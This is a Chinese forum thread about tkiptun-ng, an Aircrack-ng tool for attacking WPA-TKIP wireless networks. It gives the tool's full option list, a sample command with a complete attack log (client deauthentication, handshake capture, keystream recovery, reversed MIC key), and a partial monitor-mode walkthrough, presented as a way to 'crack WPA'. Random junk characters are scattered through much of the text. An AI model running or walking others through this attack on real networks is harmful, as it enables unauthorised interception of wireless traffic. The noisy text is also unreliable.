Aircrack-ng里的WPA-TKIP终结工具的使用说明(wpa已经被攻破)

dangdidiqq

! s8 s! z' v$ r9 x2 D* E" _
使用方法: tkiptun-ng <options> <replay interface>
过滤选项:

• -d dmac : MAC address, 目的地址
• -s smac : MAC address, 源地址
• -m len : minimum packet length
• -n len : maximum packet length
• -t tods : frame control, To DS bit
• -f fromds : frame control, From DS bit
• -D : disable AP detection

" q5 g" C: F% Y# s+ hReplay 攻击选项:

• -x nbpps : number of packets per second
• -a bssid : set Access Point MAC address
• -c dmac : set Destination MAC address
• -h smac : set Source MAC address
• -F : choose first matching packet
• -e essid : set target AP SSID

Debug options:

• -K prga : keystream for continuation
• -y file : keystream-file for continuation
• -j : inject FromDS packets
• -P pmk : pmk for verification/vuln testing
• -p psk : psk to calculate pmk with essid

9 L$ D2 V% m5 b) V2 LSource options:

• -i iface : capture packets from this interface
• -r file : extract packets from this pcap file

• --help : Displays this usage screen

) p% c; Y1 X0 `+ @9 v

, I& z. }# l# j2 T- y7 }
+ h8 c1 T) _6 j此工具名称为 tkiptun-ng，在aircrack-ng 1.0 rc2 第一次添加，当时不够完善，并没有能起到作用。
2 |# e5 N* \; X$ n

此工具PJ针对 wpa tkip加密，并且路由器开启qos（带宽限制，流量控制，协议控制等，老路由器不支持此功能）
, Q1 g0 z/ W  Y
7 S# `4 \8 l0 v/ S8 r$ L4 q相信有点基础的都看的懂，我没有使用过，因为我这里没有这种ap。

附加完整工具下载，论坛上有人发过for linux版本，我这里再补上for windows版本
7 W- V( [2 S7 `) K; w
windows版本里工具已经非常齐全，包括监听攻击PJ，和linux里的一样一样的，可以缺少了最关键的“驱动”，我把这个提出来，希望有人能把驱动开发出来，这样就不用两个系统转换那么麻烦了。
9 [5 z4 X0 r5 y7 u/ [3 F* ]
本帖隐藏的内容需要回复才可以浏览
! \+ ?* G' `. W- v# \% `

xbzxjks

感谢楼主的分享，好东西！！！！

dangdidiqq

Input: 输入

4 Z. ]3 f( [) ~8 T6 ]: H
7 P. d1 k$ M% k7 D/ r tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0

Output: 输出

* s+ J( ]% Q$ s% \6 C The interface MAC (00:0E:2E:C5:813) doesn't match the specified MAC (-h).
* v$ s; X/ [; ]( B; r* t9 N      ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D
& E  |8 T9 B; E8 P3 m+ ~: H Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
3 R9 H1 p) D* v 15:06:48  Michael Test: Successful
: _, ]; H7 Z. a# C5 K& H8 h( I 15:06:48  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
& }3 @4 _9 q# P; U 15:06:48  Found specified AP
15:06:48  Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:54  Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
4 ]/ `6 k! r7 `2 q 15:06:56  WPA handshake: 00:14:6C:7E:40:80 captured
; Q" o3 O( x& l3 [ 15:06:56  Waiting for an ARP packet coming from the Client...
* j5 ]/ f+ p) d% F( l5 Z Saving chosen packet in replay_src-0305-150705.cap
+ W. \2 c# e- C! `% D; Y 15:07:05  Waiting for an ARP response packet coming from the AP...
- V5 J$ o$ R! ]' u5 |3 e Saving chosen packet in replay_src-0305-150705.cap
15:07:05  Got the answer!
6 s8 r3 c& [) P; w1 O8 E* V 15:07:05  Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.
3 t4 Z7 }# X  ^  C
15:07:25  Offset   99 ( 0% done) | xor = B3 | pt = D3 |  103 frames written in 84468ms
15:08:32  Offset   98 ( 1% done) | xor = AE | pt = 80 |   64 frames written in 52489ms
1 H7 w% W' m2 Q) T; P& T$ m 15:09:45  Offset   97 ( 3% done) | xor = DE | pt = C8 |  131 frames written in 107407ms
15:11:05  Offset   96 ( 5% done) | xor = 5A | pt = 7A |  191 frames written in 156619ms
9 ?' r: x% q4 }: {- {5 A% t 15:12:07  Offset   95 ( 6% done) | xor = 27 | pt = 02 |   21 frames written in 17221ms
& \% ?1 v7 c/ ` 15:13:11  Offset   94 ( 8% done) | xor = D8 | pt = AB |   41 frames written in 33625ms
15:14:12  Offset   93 (10% done) | xor = 94 | pt = 62 |   13 frames written in 10666ms
. M1 N# {& V3 H" C) E; E6 V6 \" { 15:15:24  Offset   92 (11% done) | xor = DF | pt = 68 |  112 frames written in 91829ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
: q; I5 G. _# b1 g 15:18:13  Offset   91 (13% done) | xor = A1 | pt = E1 |  477 frames written in 391139ms
15:19:32  Offset   90 (15% done) | xor = 5F | pt = B2 |  186 frames written in 152520ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:22:09  Offset   89 (16% done) | xor = 9C | pt = 77 |  360 frames written in 295200ms
3 R8 _7 J8 r: ~ Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
3 B9 t; U7 r1 M4 u Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
0 E5 t  J4 w3 \0 k 15:26:10  Offset   88 (18% done) | xor = 0D | pt = 3E |  598 frames written in 490361ms
15:27:33  Offset   87 (20% done) | xor = 8C | pt = 00 |  230 frames written in 188603ms
15:28:38  Offset   86 (21% done) | xor = 67 | pt = 00 |   47 frames written in 38537ms
2 K2 ], Q$ q: E2 d/ a/ M 15:29:53  Offset   85 (23% done) | xor = AD | pt = 00 |  146 frames written in 119720ms
5 Y1 O, t) N/ }0 U. f 15:31:16  Offset   84 (25% done) | xor = A3 | pt = 00 |  220 frames written in 180401ms
0 e* a# @) h: I. S 15:32:23  Offset   83 (26% done) | xor = 28 | pt = 00 |   75 frames written in 61499ms
15:33:38  Offset   82 (28% done) | xor = 7C | pt = 00 |  141 frames written in 115619ms
7 |& W' s/ ~6 `' @5 O# C 15:34:40  Offset   81 (30% done) | xor = 02 | pt = 00 |   19 frames written in 15584ms
15:35:57  Offset   80 (31% done) | xor = C9 | pt = 00 |  171 frames written in 140221ms
: F6 r! \. A6 ^) o 15:37:13  Offset   79 (33% done) | xor = 38 | pt = 00 |  148 frames written in 121364ms
15:38:21  Offset   78 (35% done) | xor = 71 | pt = 00 |   84 frames written in 68872ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:40:55  Offset   77 (36% done) | xor = 8E | pt = 00 |  328 frames written in 268974ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:43:31  Offset   76 (38% done) | xor = 38 | pt = 00 |  355 frames written in 291086ms
15:44:37  Offset   75 (40% done) | xor = 79 | pt = 00 |   61 frames written in 50021ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:47:05  Offset   74 (41% done) | xor = 59 | pt = 00 |  269 frames written in 220581ms
15:48:30  Offset   73 (43% done) | xor = 14 | pt = 00 |  249 frames written in 204178ms
$ a. j- t4 u' i+ i 15:49:49  Offset   72 (45% done) | xor = 9A | pt = 00 |  183 frames written in 150059ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
! y! U+ P+ X5 ]& w6 k/ i6 T! B7 x! h 15:52:32  Offset   71 (46% done) | xor = 03 | pt = 00 |  420 frames written in 344400ms
15:53:57  Offset   70 (48% done) | xor = 0E | pt = 00 |  239 frames written in 195980ms
4 u$ V9 [. e4 W Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
( D3 G5 h! t0 t/ p- F Checking 192.168.x.y
" n+ e2 S, f$ E8 R, g 15:54:11  Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66

Saving plaintext in replay_dec-0305-155411.cap
9 v$ f" R$ C" _* L% o7 z Saving keystream in replay_dec-0305-155411.xor
2 |' D- ?% S- M8 v: e2 r  P% B 15:54:11  
Completed in 2816s (0.02 bytes/s)

2 p! {2 N* j( b/ I/ x 15:54:11  AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42
15:54:11  Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112
15:54:11  Sent encrypted tkip ARP request to the client.
15:54:11  Wait for the mic countermeasure timeout of 60 seconds.

twb777

好帖，可以破WPA

twb777

首先要具备3点必备的攻击条件
1 客户端和接入点必须使用WPA TKIP 而且客户端必须连接
2 客户端和接入点必须使用的网络协议地址的IPv4,z!z%[&#65533;p(}bIb
  A0 y- h8 l9 w+ H3一个长期存在的时间延长键（重新输入间隔）必须设定的接入点。在大多数调制解调器/无线路由器使用TKIP ，这一时期是默认情况下设置为3600秒，从而使攻击(U)TI8B\;Ow&H+a;q
1 r* ^. ]7 \1 `% Z以上3点基本上是没有问题了下面是就是攻击了4l?)S%L*ITUU
airmon-ng a 首先把网卡监视模式打开:输入airmon-ng start wlan0 注意我的网卡端口是wlan0不同的网卡端口都不一样可以用ifconfig -a 进行查看(E$b8c0}/F`$d
输入后出现的内如如下
PID     Name
1 }- E3 a4 e8 P1 C% q2954    dhcpcd
3 v7 m5 h4 |$ \$ t" i' f2uDm;J0g@

" c* G( h; r. U5 Y$ U0 e- `
Interface       Chipset         Driver-p#}3W K7X"aPGo
f.lh qt|B

wlan0           RTL8187         r8187 (monitor mode enabled)

acj

实际PJwpa加密的很简单

dangdidiqq

怎么都是乱码你从哪里复制过来的

liuzcb

{:3_62:}...................................

dangdidiqq

我顶上去。。。

sulsan

我跳水，扑通，扑通

sdypgl

想学习用这个，可也太贵了吧

like888

额 学习一下。。。

dangdidiqq

不能沉不能沉